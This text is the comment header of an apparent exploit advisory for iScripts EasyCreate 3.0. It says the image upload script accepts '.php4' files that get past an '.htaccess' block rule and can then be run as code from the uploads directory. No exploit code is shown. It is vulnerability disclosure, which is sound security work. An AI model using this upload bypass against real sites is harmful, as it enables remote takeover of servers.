    # iScripts EasyCreate 3.0 Remote Code Execution Exploit
    #
    #
    # Vendor: iScripts.com
    # Product web page: http://www.iscripts.com
    # Affected version: 3.0
    #
    # Summary: iScripts EasyCreate is a private label online website builder. This 
    # software allows you to start an online business by offering website building 
    # services to your customers. Equipped with drag and drop design functionality, 
    # crisp templates and social sharing capabilities, this online website builder 
    # software will allow you to provide the best website building features to your 
    # users.
    #
    # Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code
    # execution. The vulnerability is caused due to the improper verification of 
    # uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST 
    # parameter. This can be exploited to execute arbitrary PHP code by uploading 
    # a malicious PHP script file with '.php4' extension (to bypass the '.htaccess'
    # block rule) that will be stored in '/uploads/siteimages/thumb/' directory.
    #
    # Tested on: Apache
    #			 MySQL 5.5.40
    #
    # Vulnerability discovered by Bikramaditya 'PhoenixX' Guha
